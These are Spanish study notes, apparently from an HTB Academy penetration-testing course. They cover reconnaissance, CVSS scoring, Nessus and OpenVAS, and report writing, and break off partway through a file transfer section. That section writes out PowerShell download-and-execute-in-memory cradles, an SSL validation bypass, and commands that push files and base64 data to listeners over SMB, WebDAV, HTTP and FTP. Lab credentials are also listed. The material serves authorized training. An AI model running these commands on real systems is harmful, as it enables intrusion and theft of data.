1. Destapar informacion escondida y vulnerabilidades: puede haber directorios, archivos o subdominios que no esten actualmente accesibles y que puedan contener informacion expuesta
2. Seguir los cambios e identificar patrones
3. Recopilacion inteligente
4. Reconocimiento sigiloso

LABORATORIO

1. Cuantos labs tenia HTB el 8 de Agosto de 2018 ![[Pasted image 20260407204534.png]] ![[Pasted image 20260407204527.png]] ![[Pasted image 20260407204613.png]] ![[Pasted image 20260407204724.png]]

2. Cuantos miembros tenia HTB el 10 de Junio de 2017

![[Pasted image 20260407204845.png]] ![[Pasted image 20260407204932.png]]

3. En 2002, a que te redirigia facebook.com, ejemplo: http://www.facebook.com/

![[Pasted image 20260407205028.png]] ![[Pasted image 20260407205057.png]]

4. Segun paypal.com en octubre de 1999, que se podia usar para transmitir dinero? Responder con el nombre del producto

![[Pasted image 20260407205138.png]]![[Pasted image 20260407205143.png]] ![[Pasted image 20260407205241.png]]

Palm Organizer

5. Volviendo a marzo 2000 en www.iana.org, cuando fue su ultima actualizacion

![[Pasted image 20260407205658.png]] ![[Pasted image 20260407205713.png]]

6. Segun wikipedia.com en 9 Febrero de 2003 cuando articulos hay en English version

![[Pasted image 20260407205323.png]]![[Pasted image 20260407205356.png]]

Herramientas

• FinalRecon: SSL certificate checking, Whois information gathering, header analysis and crawling

• Recon-ng: DNS enumeration, subdomain discovery, port scanning, web crawling and even exploit known vulnerabilities

• theHarvester: gathering email addresses, subdomains, hosts, employee names, open ports, and banners from different public sources like search engines, PGP key servers, and the SHODAN database

• SpiderFoot: collect information about a target, including IP addresses, domain names, email addresses, and social media profiles. It can perform DNS lookups, web crawling, port scanning and more

• OSINT Framework: a collection of various tools and resources for open-source intelligence gathering

Final Recon

Como hemos visto nos ofrece recopilacion de informacion de forma automatica como:

• Header Information
• Whois Lookup
• SSL Certificate Information
• Crawler
• DNS Enum
• Subdomain Enum
• Directory Enum
• Wayback Machine

Instalacion

git clone https://github.com/thewhiteh4t/FinalRecon.git
cd FinalRecon
pip3 install -r requirements.txt
chmod +x ./finalrecon.py
./finalrecon.py --help

![[Pasted image 20260408145015.png]]

Parametros y uso

![[Pasted image 20260408145042.png]]

![[Pasted image 20260408145052.png]]![[Pasted image 20260408145100.png]]

1. Cual es el IANA ID del Registrar de inlanefreight.com

![[Pasted image 20260408145644.png]]

2. Que software esta corriendo el webserver?

![[Pasted image 20260408145724.png]]

3. Que API Key esta escondida en el directorio admin que has descubierto en el sistema

![[Pasted image 20260408150110.png]] ![[Pasted image 20260408150623.png]] ![[Pasted image 20260408151505.png]] ![[Pasted image 20260408151531.png]] ![[Pasted image 20260408151603.png]] ![[Pasted image 20260408151757.png]] ![[Pasted image 20260408151821.png]] ![[Pasted image 20260408152328.png]]

4. Tras hacer crawling de inlanefreight.htb, cual es email que has encontrado?

Como vimos ni la pagina principal ni la de web1337 que es la unica que encontramos tienen links ni hipervinculos. Podemos buscar otro nuevo vhost dentro del de web1337 a ver si hay otro que contenga links

![[Pasted image 20260408153004.png]] ![[Pasted image 20260408152955.png]] ![[Pasted image 20260408152944.png]]

Ahora hacemos el crawling

![[Pasted image 20260408153039.png]] ![[Pasted image 20260408153103.png]]

5. Cual es el API key que los developers de inlanefreight.htb van a cambiar

Bajando en los resultados en la seccion de comentarios encontramos la api key

![[Pasted image 20260408153137.png]]

Evaluacion de vulnerabilidades vs Pentest

1. Evaluacion de vulnerabilidades: procesos sistematico de identificar, analizar y clasificar las vulnerabilidades persentes en un sistema, red o aplicacion. Su objetivo es detectar posibles fallos de seguridad de forma automatizada o semi automatizada sin explotar activamente las vulnerabilidades

2. Pentest: simulacion controlada de un ataque real en el que se explotan vulnerabilidades para evaluar hasta que punto un sistema puede ser comprometido. Su objetivo es medir el impacto real de las vulnerabildiades y demostrar como un atacante podria acceder, escalar priviligios o comprometer la seguridad del sistema

![[Pasted image 20260408154106.png]]

Metodologia

8 pasos:

• Identificacion y analisis de riesgos: identificar todos los activos y evaluar posibles riesgos
• Desarrollar politicas de escaneo: establecer normas y responsables de los escaneos de seguridad
• Identificar tipo de escaneo: se decide que tipo de escaneo realizar segun el sistema
• Configurar el escaneo: se definen objetivos, puertos, protocolos y parametros del escaneo
• Realizar el escaneo: la herramienta analiza los sistemas y detecta servicios y vulnerabilidades
• Evaluar posibles riesgos: se analizan los impactos del escaneo como posibles caidas del sistema
• Interpretar resultados: se revisan vulnerabilidades y se priorizan segun su gravedad
• Crear plan de mitigaciones: se establecen acciones para corregir y reducir las vulnerabilidades

Elementos

1. Vulnerabilidad

Es una debilidad o bug que abre la posibilidad de amenazas de actores externos

Pueden estar registradas en el MITRE y recibir una puntuacion Common Vulnerability Scoring System (CVSS)

Se suele usar frecuentemente como estandar para calcular la precision y consistencia de la vulnerabilidad ayudando a priorizar vulns

METRICAS QUE SE USAN

• Vector de ataque: red, local, fisico
• Complejidad
• Requerimiento de privs
• Si necesita o no interaccion del usuario
• El impacto si se llega a realizar de forma satisfactoria (confidencialidad, disponibilidad e integridad)

Esto marca un resultado del 0 - 10

![[Pasted image 20260408155331.png]]

2. Threat o amenaza

Es un proceso que aplicfica el potencial de un evento adverso. Unas vulnerabilidades generan mayor preocupacion que otras debido a la probabilidad de ser explotadas

3. Exploit

Codigo o recurso que puede ser usado para tomar ventaja de una debilidad o vulnerabilidad

Muchos se encuentran en: Exploit-db or the Rapid7 Vulnerability and Exploit Database

4. Riesgo

Posibilidad de que los activos o datos sean dañados o destruidos por actores maliciosos

![[Pasted image 20260408160049.png]]

Score

![[Pasted image 20260408160159.png]]

Common Vulnerability Scoring System (CVSS) es un estandar en la industria para poner una puntuacion a las vulnerabilidades encontradas

Se suele usar junto con Microsoft DREAD que es un evaluador de riesgo en una escala de 10 puntos

Con esto, nosotros calculamos el riesgo de una amenaza o vulnerabilidad con 5 factores:

• Daño potencial
• Reproducibilidad
• Explotabilidad
• Usuarios afectados
• Descubrilidad

Severity Scoring

La puntuacion de CVSS consisten en:

• Explotabilidad: entra el vector de ataque, complejidad de acceso y autenticacion
• Impacto: consiste en CIA (confidencialidad, disponibilidad e integridad)

![[Pasted image 20260408162433.png]]

Base Metric Group (SIEMPRE ESTAN)

Representa las caracteristicas de la vulnerabilidad

1. Metricas de explotabilidad: una forma de evaluar las cosas tecnicas necesarias para explotar el problema:

   • Vector de ataque
   • Complejidad del ataque
   • Requerimiento de privilegios
   • Interaccion del usuario

2. Metricas de impacto: representan la repercusion de una explotacion exitosa y que impacta en la CIA (confidencialidad, integridad y disponibilidad)

![[Pasted image 20260408162750.png]]

Temporal Metric Group (OPCIONALES)

Detalles de la disponibilidad de exploits o parches del problema

1. Madurez del código del exploit: es una metrica que representa la probabilida de explotacion de la vulnerabilidad en funcion de la facilidad de la tecnica

   • Tenemos varias metricas:
     • Not Define : se omite la metrica
     • High : vulnerabilidad que funciona de forma consistente y facilmente identificable con herramientas automatizadas
     • Functional : existe codigo de explotacion disponible
     • Proof of Concept PoC : existe un codigo de explotacion de prueba de concepto pero requeriria modificaciones por parte del atacante
     • Unproven

2. Nivel de remediacion: usado para identificar la priorizacion de vulnerabilidades

   • Tenemos varias metricas:
     • Not Define : se omite la metrica
     • Unavailable : no hay ningun parche disponible para la vulnerabilidad
     • Workaroung : hay una solucion no oficial publicada hasta que el proveedor la parchee oficialmente
     • Temporary Fix : proveedor oficial ha proporcionado una solucion temporal
     • Official Fix : proveedor ha publicado un parche oficial para el problema

3. Confianza del informe: representa la validacion de la vulnerabilidad y como de precisa es la tecnica

   • Tenemos varias metricas:
     • Not Defined : se omite la metrica
     • Confirmed : existen varias fuentes con informacion detallada que confirma la vulnerabilidad
     • Reasonable : algunas fuentes han publicado informacion de la vulnerabilidad pero no hay certeza de que alguien logre el mismo resultado debido a la falta de detalles para reproducirla
     • Unkown

Environmental Metric Group (OPCIONALES)

Estas son puestas por la emrpesa. Ejemplo, impacto alto pero tu empresa ese sistema no es critico o esta aislado entonces CIA estara a low

Representa la significancia de la vulnerabilidad teniendo en cuenta la CIA

1. Modified Base Metrics: representa las metricas que pueden modificarse si la organizacion considera que existe riesgo significativo en CIA
   • Tenemos varias metricas:
     • Not Defined : se omite la metrica
     • High : uno de los elementos de la triada CIA trendria egectos astronomicos en la organizacion general y clientes
     • Medium : uno de los elementos de la CIA tendira efectos significativos en la organizacion en general
     • Low : uno de los elementos de la triada CIA tendria efectos minimos en la organizacion general

CALCULAR CVSS

Calculadora : tiene en cuenta las metricas discutidas en esta seccion

EJEMPLO INVENTADO SIN ENVIRONMENTAL SCORE METRICS:

![[Pasted image 20260408165636.png]] ![[Pasted image 20260408165630.png]] ![[Pasted image 20260408165659.png]]

Ejemplo : Windows Print Spooler Remote Code Execution Vulnerability

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527

![[Pasted image 20260408165320.png]]

OVAL Open Vulnerability Assessment Language

OVAL es un estandar internacionar de seguridad de la informacion disponible publicamente que se usa para evaluar y detallar el estado actual y los problemas del sistema

![[Pasted image 20260408195659.png]]

El objetivo de OVAL es tener una estructura en 3 pasos durante el proceso de evaluacion que consiste en:

• Identificar la configuracion del sistema
• Evaluar el estado actual del sistema
• Desglosar la informacion en un reporte

La informacion se puede describir en varios estados: Vulnerable, Non-compliant, Installed Asset y Patched

CVE Common Vulnerabilities and Exposures

CVE es un catalogo publico de problemas de seguridad. Cada problema de seguridad tiene su CVE ID unico

![[Pasted image 20260408200102.png]]

Pasos para obtener un CVE:

1. Identificar si el CVE es requerido y relevante
2. Llegar al vendor afectado
3. Identificar si la solicitud deberia ser para el Vendor CNA o Third Party CNA
4. Solicitar CVE ID a traves de CVE Web Form
5. Confirmacion del CVE Form
6. Se recibe el CVE ID
7. Restriccion de publicacion sel CVE ID
8. Publicacion del CVE ID
9. Proveer informacion al CVE Team

Los escaners de vulnerabilidades normalmente no explotan vulnerabilidades (salvo excepciones) por lo que se necesitan manos para validar estos resultados, es decir, determinar si son FP o TP

Tipos de test:

• Estatico: determina si la vulnerabilidad si la version identificada corresponde con un CVE publico. A veces se ha instalado un parche y no es fiable o el objetivo no es vulnerable a ese CVE
• Dinamico: trata de especificar, usando payloads benignos, creds debiles, SQLi o command injection…

Se deben ejecutar tanto escaneos autenticados como no autenticados para asegurar de que los activos son parcheados a medida que se van descubriendo nuevas vulns

Download Page :descargaremos el de Ubuntu

![[Pasted image 20260408201509.png]]

Tendremos que visitar Activation Code Page para obtener el codigo de activacion:

![[Pasted image 20260408201612.png]]

dpkg -i Nessus-8.15.1-ubuntu910_amd64.deb
sudo systemctl start nessusd.service
https://localhost:8834

Marcaremos Nessus Essentials

![[Pasted image 20260408201702.png]]![[Pasted image 20260408201707.png]]![[Pasted image 20260408201713.png]]![[Pasted image 20260408201723.png]]

1. Le damos a New Scan
2. Seleccionamos una plantilla:
   1. Discovery
   2. Vulnerabilities
   3. Compliance
3. Ejemplo con Discovery: tenemos Host discovery, Basic Network Scan…

![[Pasted image 20260408202404.png]]

4. Usaremos Basic Network Scan (tendremos dos IPs (172.16.16.100 Windows - 172.16.16.160 Linux))

![[Pasted image 20260408202458.png]]

5. Apartado Discovery tenemos la opcion de habilitar escaneo para dispositivos fragiles

![[Pasted image 20260408202642.png]]

6. Eligiremos Common Ports, Alls Ports o Self-Define Range

![[Pasted image 20260408202722.png]]

7. Apartado Assessment: Podemos habilitar el web application scanning y customizar nuestro User Agent y otras opciones (como URL para intentar RFI)

![[Pasted image 20260408202902.png]]

8. Tambien hay opciones de habilitar el intento de inicio de sesion contra las aplicaciones y servicios descubiertos usando las creds dadas en archivos tipo wordlist o realizar brute force

![[Pasted image 20260408203002.png]]

9. Tambien se puede habilitar el user enum usando varias tecnicas como RID brute force:

![[Pasted image 20260408203041.png]]

10. Pestaña avanzado: safe checks hace que no se ejecuten pruebas que puedan dañar al sistema. no intenta explotar. Podemos tambien elegir reducir las velocicdades, threads y mas

![[Pasted image 20260408203319.png]]

Veremos varias configuraciones avanzadas

Scan Policies

Nessus nos da la opciones crear politicas de escaneo para determinar algunas opciones de escaneo. Tambien nos dan plantillas (Scan Templates)

Esto nos dara la posibilidad de crear escaneos para diferentes escenarios como mas lentos, evasivos, web focused…

![[Pasted image 20260408204057.png]]

Creando un Scan Policy

1. Le damos a New Policy y se nos dara una lista de escaneos preconfigurados (Podemos elegir alguno como Basic Network Scan y customizarlo o crear el nuestro propio desde 0)
2. Elegimos Advanced Scan para crear uno desde 0
3. Le damos nombre y descripcion

![[Pasted image 20260408204249.png]]

4. Desde aqui podemos configurar como queramos y podemos habilitar y deshabilitar plugins
5. Una vez terminado le damos a save y habremos creado una politica que aparecera en policy list
6. Scans > Sacn Templates > User Defined

![[Pasted image 20260408204500.png]]

Plugins

Nessus Attack Scripting Language (NASL) : estos plugins contienen infromacion como vulnerability name, impact, remedation y formas de testear un issue particular

Los plugins son clasificado por el severity level : Critical, High, Medium, Low, Info

Nessus es una herramienta de escaneo de vulnerabilidades que identifica posibles fallos de seguridad basándose, en muchos casos, en versiones de software o configuraciones detectadas, mientras que herramientas como `sslscan` analizan directamente los protocolos y cifrados que un servidor acepta. Sin embargo, no todas las detecciones implican un riesgo real, ya que un servidor puede permitir ciertos cifrados antiguos por compatibilidad sin que sean explotables en la práctica. Por ello, es fundamental que el analista valide manualmente los resultados

![[Pasted image 20260408205031.png]]

Aqui sslscan ha detectado que usa TLSv1.0 bastante antiguo y vulnerable y se usan cipher suites inseguros hoy en dia. Pero puede que ese servicio no necesite ni siquiera TLS por lo que no es una vulnerabilidad real, por ejemplo FTP interno sin TLS o servidor internos sin TLS lo que pude ser aceptable

En nuestro caso Microsoft DirectAccess no depende de SSL/TLS para su seguridad

Podemos crear una regla Plugin que haga que cuando se ejecute el plugin no nos salga esa informacion en ese host o en todos

Resources > Plugin Rules > Create

![[Pasted image 20260408205909.png]]

Aqui incluimos el host que quedara excluido para el FP de Microsoft DirectAccess, el plugin ID para Microsoft DirectAccess y pondremos Hide this result

![[Pasted image 20260408210242.png]]

Tambien podemos excluir ciertos problemas de los resultados del analisis como plugins para problemas no explotables. Podemos poner el plugin ID y el host donde se excluira el resultado del plugin. El plugin se ejecutara pero no nos saldra el resultado:

![[Pasted image 20260408210515.png]]

Escaneando con Credenciales

Nessus soporta hacer escaneos con credenciales de muchos tipos (LM/NTLM hashes, Kerberos Authentication, passwords)

En la categoria Host based podemos usar:

• SSH: poniendo password, public key, Kerberos auth
• Windows: password, Kerberos, LM/NTLM hash

![[Pasted image 20260409141036.png]]

En la categoria Database podemos poner una gran variedad de tipos de bases de datos como Oracle, PostgresSQL, DB2, MySQL….

![[Pasted image 20260409141141.png]]

Tambien podemos usar la categoria Plain Test Scan para servicios como FTP, HTTP, IMAP…

![[Pasted image 20260409141332.png]]

En el output podemos ver si la autenticacion fue exitosa contra algun servicio o aplicacion: ![[Pasted image 20260409141520.png]]

Nessus nos da la opcion de exportar los resultados en varios formatos y tambien importarlos para otras herramientas, archivos… como:

• EyeWitness : se puede usar para tomar capturas de todas las webapps encontradas por nessus

Reportes de Nessus

Podemos exportar los resultados en formato .pdf, .html o .csv. Los formatos .html y .pdf dan la opcion de generar un resumen ejecutivo o customizar el report

El resumen ejecutivo provee una lista de hosts y el numero de vulnerbilidades descubierta en cada host y la opcion de show details para ver la severidad, CVSS score plugin number y nombre del problema detectado

El .csv nos permite elegir las columnas que exportar muy util si tenemos que importar los resultados a herramientas como Splunk

![[Pasted image 20260409142419.png]]

Ejemplo de un HTML report: ![[Pasted image 20260409142453.png]]

Exportando Nessus scan

Nos da dos opciones:

• .nessus = .xml + copia de configuraciones de scan y salidas de los plugins
• .db = .nessus +  scan’s KB, plugin Audit Trail, and any scan attachments

Scripts como nessus-report-downloader se usan para descargar los escaneos el todos los formatos posibles desde la terminal:

![[Pasted image 20260409142817.png]]

Estos escaneos pueden causar problemas a redes y objtivos sensibles ademas de proveer FPs, no results… Preguntar al cliente que objetivos son sensibles a estos escaneos

Mitigando problemas

1. Muchas veces los firewalls nos daran que todos los puertos estan open o que ninguno lo esta. Algunos firewalls pueden devolver ICMP Unreachable que Nessus toma como alive o darnos muchos FPs (no todo se soluciona con lo siguiente)

   • Solucion: en Advance Options, desactivar Ping remote host

2. En redes sensibles podemos usar rate-limiting para minimizar el impacto

   • Solucion: Performance Options y modificar Max Concurrent Checks Per Host esto limitara el numero de plugins usados a la vez (es un ejemplo se pueden usar mas)

3. Podemos evitar escanear legacy systems y elegir la opcion de no escanear impresoras

   • Solucion: para esto usamos nessusd.rules (el archivo de configuracion)

4. Por ultimo nos debemos de asegurar de que no estamos lanzando plugins de DoS

   • Solucion: habilitar siempre la opcion de “safe checks” para evitar plugins que puedan tener un impacto negativo en el objetivo. No significa que tenga 0 impacto negativo pero lo reduce muchisimo

Impacto en la red

Es importante tener en cuenta el ancho de banda que consumimos en la red

Podemos usar: vnstat

Vamos a comparar los resultados antes y dutante un nessus scan:

sudo apt install vnstat
sudo vnstat -l -i eth0

![[Pasted image 20260410145015.png]]![[Pasted image 20260410145027.png]]

Cuando los comparamos podemos ver el numero de bytes y paquetes transferidos durante el vulnerability scan

Creds del target:

• Linux:
  • 172.16.16.160
  • student_adm:HTB_@cademy_student!
• Windows:
  • 172.16.16.100
  • administrator:Academy_VA_adm1!

Tarda mucho:

Acceder a Nessus (http://IP:8834)
Usar las credenciales propias o  htb-student:HTB_@cademy_student!
Usar Basic Network Scan
Modificar la plantilla a ALL Ports contra la IP 172.16.16.100
Usaremos el modo autenticado usando las creds de Windows

OpenVAS : es un escaner de vulnerabilidades publico que tiene capacidades para realizar escaneos de red autenticados y no autenticados

![[Pasted image 20260410145404.png]]

Instalar OpenVAS

sudo apt-get update && apt-get -y full-upgrade
sudo apt-get install gvm && openvas
gvm-setup

La primera vez que se levante puede tardar mucho 30min

![[Pasted image 20260410145450.png]]

Tras esperar podemos por fin empezar con OpenVAS:

gvm-start

![[Pasted image 20260410145541.png]]

En esta seccion nos adentraremos en el apartado de Scans

![[Pasted image 20260410145745.png]]

Aqui podremos ver scans que hemos lanzado previamente, laseccion de “Create a new task” que nos permitira crear un nuevo scan

Los escaneos que se ven aqui ya esta pre establecidos para evitar perder el tiempo. Lo suyo es ir mirando las vulnerabilidades que va sacando en vez de esperar a que termine completamente porque tardara como 1-2h

Para este modulo:

Windows: 172.16.16.100
Linux: 172.16.16.160

![[Pasted image 20260410150103.png]]

Configuraciones

Antes de configurar ningun escaneo lo primero deberia ser configurar los objetivos del escaneo

Configurations > Targets  :  aqui veremos los targets añadidos

![[Pasted image 20260410150226.png]]

Para añadir uno:

Clickar en el boton resaltado > 
- Añadir un target individual o una host list
- Configurar puertos, autenticacion y metodos

![[Pasted image 20260410150414.png]]

Para escaneos autenticados necesitaremos lanzarlo con credenciales root o Administrator. Cuando mayor nivel de permisos tengamos al lanzarlo, mas informacion de los host obtendremos

Tras añadir el target saldra esto:

![[Pasted image 20260410150710.png]]

Creando un scan

Muchas configuraciones usan NVT Family (diferentes categorias de vulnerabilidades, como Windows, Linux, WebApps…)

![[Pasted image 20260410150828.png]]

Hay muchas configuraciones de escaneo de red. Se recomienda solo usar los siguientes ya que el resto pueden causar daños en el sistema:

• Base: enumerar informacion sobre el host status y SO info. No checkea vulns
• Discovery: enumera informacion sobre el sistema. Identifica configuraciones de los servicios, hw, puertos y sw. No checkea vulns
• Host Discovery: solamente testea si el host esta vivo para determinar si esta activo en la red. No checkea vulns. Usa ping
• System Discovery: enumera el target un poco mas que Discovery Scan e intenta identificar el SO y hw
• Full and fast: es la mas segura y aprovecha la inteligencia para usar NVT checks basado en puertos accesibles del host

Podemos crear nuestro propio scan

Scans > New Task

![[Pasted image 20260410151315.png]]

Despues podremos configurar el escaneo:

![[Pasted image 20260410151356.png]]![[Pasted image 20260410151415.png]]![[Pasted image 20260410151422.png]]

Podemos verlos en

Scans > Columna "Last Report"

![[Pasted image 20260410151508.png]]

Una vez que entramos al reporte podemos ver los resultados del escaneo y SO info, open ports, servicios…

![[Pasted image 20260410151542.png]]

Exportarlo

Hay varios formatos (XML, CSV, PDF, ITG, and TXT). Si elegimos XML podemos verlo en un formato facil de leer

![[Pasted image 20260410151820.png]]

Tras exportarlo en XML usaremos openvasreporting que da varios opciones. En nuestro caso usaremos un comandos que nos prepara un excel

python3 -m openvasreporting -i report-2bf466b5-627d-4659-bea6-1758b43235b1.xml -f xlsx

![[Pasted image 20260410151931.png]]![[Pasted image 20260410151938.png]]

OpenVAS creds:

htb-student:HTB_@cademy_student!

Creds:

Linux
	172.16.16.160 
	htb-student_adm:HTB_@cademy_student!

Windows
	172.16.16.100
	administrator:Academy_VA_adm1!

Tarda mucho:

Acceder a Nessus (http://IP:8080)
Usar las credenciales propias o  htb-student:HTB_@cademy_student!
Crear un New Task con OpenVAS Default
Usar Full and Fast contra 172.16.16.160
Usar el modo autenticado con las creds Linux

Un reporte solido debe tener estas secciones:

• Resumen ejecutivo - Executive Summary
• Vista general de evalucacion - Overview of Assessment
• Alcance - Scope
• Vulnerabilidades y Recomendaciones - Vulnerabilities and Recommendations

Executive Summary

Trata de ser comprensible para alguien que necesite una vista rapida y general de los detalles y que es lo mas importante de lo encontrado dependiendo de la severidad

Esto permite priorizar. Se puede añadir un grafico:

![[Pasted image 20260410152956.png]]

Overview of Assessment

Debe incluir cualquier metodologia usada durante la evaluacion. La metodologia debe detallar la ejecucion de la evaluacion durante el periodo de testeo como discutir el proceso y herramientas usadas (Nessus por ejemplo)

Alcance y duracion

Debe incluir todo lo que el cliente a autorizado a evaluar incluyendo el objetivo y el periodo de prueba

Vulnerabilities y recomendations

Seccion donde se debe detallas los halalzgos encontrados durante el escaneo una vez eliminados los FPs por testeo manual

Es mejor agrupar los hallazgos que se relacionan entre si segun el tipo de problema o severidad

Cada problema incluye su:

• Nombre de Vulnerabilidad
• CVSS
• CVE
• Descripcion de la vulnerabilidad
• Referencias
• Pasos de remediacion
• PoC
• Sistemas afectados

Closing

Escribir los informes de forma que cualquiera puede leerlos Las oraciones al grano y buena semantica. Los mejores informes son los concisos Cuando se analice informacion tecnica, hacer siempre referencia a lo que se describe para que el lector lo comprenda

Fileless Threats son amenazas que no vienen desde un archivo sino que se usan herramientas legitimas para crearlo en el sistema y ejecutarlo. Esto no significa que no haya operaciones de transferencia de archivos

Explicacion Astaroth

Un link malicioso en un mail de phising es clickado, este crea un archvio .lnk (acceso directo) que cuando es ejecutado con doble click causa la ejecucion de WMIC con el parametro “/Format” que permite descargar y ejecutar codigo malicioso JS

Este JS ademas descarga otros payloads usando Bitsadmin tool (Herramienta legitima de Windows usada para descargar y cargar trabajos y monitorizar su progreso). Estos payloads estan base64 y se usa Certutil para decodificarlos

Despues se usa regsvr32 para cargar una de las DLLs maliciosas en un proceso legitimo que ya se esta ejecutando (Userinit) y asi conseguir la ejecucion de la DLL maliciosa

![[Pasted image 20260410173935.png]]

Tendremos acceso a una maquina Windows (MS02) y queremos descargar archivos de otra maquina (Pwnbox)

![[Pasted image 20260410174146.png]]

Powershell Base64

Esto funciona dependiendo del tamaño del archivo. No se necistara realizar operaciones de red, solo tener acceso a la terminal de la maquina objetivo:

Pasos:

• Sacamos el md5sum
• Codificamos en Base64 el archivo en el sistema objetivo a traves de terminal
• Copiamos
• Pegamos en nuestra maquina
• Decodificamos en nuestra maquina
• Sacamos el md5sum y lo comparamos

En la maquina objetivo Linux:

md5sum ARCHIVO
cat ARCHIVO | base64 -w 0; echo
Copiamos

En nuestra maquina Windows:

Pegamos en una archivo
[IO.File]::WriteAllBytes("ARCHIVO", [Convert]::FromBase64String("BASE64"))
Get-FileHash ARCHIVO -Algorithm md5

![[Pasted image 20260410174721.png]]![[Pasted image 20260410174728.png]]

![[Pasted image 20260410174750.png]] ![[Pasted image 20260410174757.png]]

PowerShell Web Downloads

Muchas compañias permten trafico HTTP/S hacia fuera

System.Net.WebClient puede ser usado para descarga de archivos HTTP/S o FTP

Tabla de parametros: ![[Pasted image 20260410175031.png]]

Sincrono: hasta que no termina la descarga no ejecuta lo siguiente si lo hubiese

(New-Object Net.WebClient).DownloadFile('https://IP/ARCHIVO','C:\ARCHIVO')
Start-Process C:\file.exe

Asincrono: aunque no termina la descarga no ejecuta lo siguiente si lo hubiese

(New-Object Net.WebClient).DownloadFileAsync('https://IP/ARCHIVO', 'C:\ARCHIVO')
Start-Process C:\file.exe

Fileless Method

En vez de descargarlo y ejecutarlo desde PowerShell como antes, podemos descargarlo y ejecutarlo seguidamente directamente en memoria

IEX (New-Object Net.WebClient).DownloadString('https://IP/ARCHIVO')

o

(New-Object Net.WebClient).DownloadString('https://IP/ARCHIVO') | IEX

Se puede hacer con Invoke-WebRequest, curl, wget y mas

Invoke-WebRequest https://IP/ARCHIVO -OutFile ARCHIVO | IEX

Invoke-WebRequest

Invoke-WebRequest alias iwr, curl y wget

Invoke-WebRequest https://IP/ARCHIVO -OutFile ARCHIVO

Lista de Descarga PowerShell

https://gist.github.com/HarmJ0y/bb48307ffa663256e239

Problemas que pueden pasar

1. Hay veces que la configuracion inicial de Internet Explorer no se ha completado. Lo podemos bypassear con -UseBasicParsing

   Invoke-WebRequest https://IP/ARCHIVO -UseBasicParsing | IEX

![[Pasted image 20260410181259.png]] ![[Pasted image 20260410181226.png]]

2. Otro error que puede dar es relacionado con el SSL channel si el certificado no es confiado. Podemos usar:

   [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}

![[Pasted image 20260410181427.png]]

SMB Downloads

A traves del puerto 445

Pasos:

• Crear smbserver en el sistema objetivo
• Usar copy, move, PowerShell Copy-Item u otras opciones SMB

En el sistema objetivo:

sudo impacket-smbserver share -smb2support /tmp/DIRECTORIO_SHARE

En nuestro sistema:

copy \\IP\DIRECTORIO_SHARE\ARCHIVO

![[Pasted image 20260410181904.png]]![[Pasted image 20260410181910.png]]

SMBShare autenticado:

• En nuestra maquina atacante

imapcket-smbshare -smb2support SMBShare ./ -username USER -password PASS

• En la maquina Windows objetivo

net use \\IP\SMBShare /user:USER PASS
copy \\IP\SMBShare\ARCHIVO C:\RUTA

![[Pasted image 20260611194007.png]] ![[Pasted image 20260611193955.png]]

Problemas que se pueden dar

Puede que la organizacion desactive la opcion de descargar cosas desde un share smb a traves de metodos sin autenticacion o guest

Para esto deberemos levantar un servidor con autenticacion en el sistema objetivo:

sudo impacket-smbserver share -smb2support /tmp/DIRECTORIO_SHARE -user USER -password PASS

En nuestro sistema:

net use n: \\IP\DIRECTORIO_SHARE /user:USER PASS
copy n:\ARCHIVO

Si recibimos mas errores podemos directamente montar el share con NFS

FTP Downloads

A traves del puerto 21 y 20

Pasos:

• Creamos un FTP Server en el sistema destino usando pyftpdlib
• Descargamos mediante PowerShell o nos conectamos y descargamos

En el sistema objetivo:

sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib --port 21

En nuestro sistema:

(New-Object Net.WebClient).DownloadFile('ftp://IP/ARCHIVO', 'C:\ARCHIVO')

Imagina que no tienes una shell interactiva en el sistema objetivo y no es muy facil usar ftp. Podemos crear un script que automatice el uso de FTP:

Montamos servidor ftp en el objetivo:

sudo python3 -m pyftpdlib --port 21

En nuestro sistema creamos el script:

echo open IP > ftpcommand.txt  
echo USER USER >> ftpcommand.txt  
echo binary >> ftpcommand.txt  
echo GET ARCHIVO >> ftpcommand.txt  
echo bye >> ftpcommand.txt

Ejecutamos en nuestro sistema:

ftp -v -n -s:ftpcommand.txt

Como resultado lo abremos descargado

Abra veces en las que necesitemos tranferir archivos al sistema destino

Powershell Base64 Encode y Decode Upload

Pasos:

• Codificamos nuestro archivo
• Copiamos
• Pegamos y decodificamos

En nuestro host:

C:\htb> [Convert]::ToBase64String((Get-Content -path "C:\ARCHIVO" -Encoding byte))

Copiamos y pegamos en el sistema destino:

echo BASE64 | base64 -d > ARCHIVO

Powershell Web Upload

Powershell no tiene una funcion nativa para subir archivos pero podemos crear una con Invoke-WebRequest or Invoke-RestMethod

Necesitaremos montar en el destino un servidor web que acepte subidas

En el destino creamos un servidor que acepte subidas:

pip3 install uploadserver
python3 -m uploadserver

En nuestra maquina usamos PSUpload.ps1 Primero lo descargamos:

IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1')

Despues lo usamos para subir nuestro archivo

Invoke-FileUpload -Uri http://IP/upload -File ARCHIVO

Powershell Base64 Web Upload

Creamos en el sistema destino un listener

nv -nvlp 8000

Creamos una variable con el contenido que queremos subir en base64 en nuestra maquina

$b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\ARCHIVO' -Encoding Byte))

Subimos el archivo con un POST

Invoke-WebRequest -Uri http://IP:8000/ -Method POST -Body $b64

Llegara al destino la base64 y lo decodificamos

echo BASE64 | base64 -d -w 0 > hosts

SMB Uploads

Normalmente las empresas no dejan abierto el puerto 445 para conexiones fuera de su red interna. En ese caso podemos usar WebDAV, una extension de HTTP

WebDAV permite al webserver comportarse como un fileserver soportando subida de archivos autorizada

SMB primero intentara conectase por el protocolo SMB pero sino puede intentara por HTTP. En la siguiente captura se ve:

![[Pasted image 20260410232344.png]]

Primero tenemos que configurar un WebDAV server en el destino

sudo pip3 install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

Despues tratamos de conectarnos al WebDAV con SMB para listar

dir \\IP\DavWWWRoot

DavWWWRoot es una keyword reconocida en Windows Shell que indica que esta corriendo WebDAV

Para subir archivos

copy C:\Users\john\Desktop\SourceCode.zip \\IP\DavWWWRoot\
copy C:\Users\john\Desktop\SourceCode.zip \\IP\sharefolder\

FTP Uploads

Atravves del puerto 20 y 21

Similar a descargarlos

En el sistema destino:

sudo python3 -m pyftpdlib --port 21 --write

En nuestro sistema:

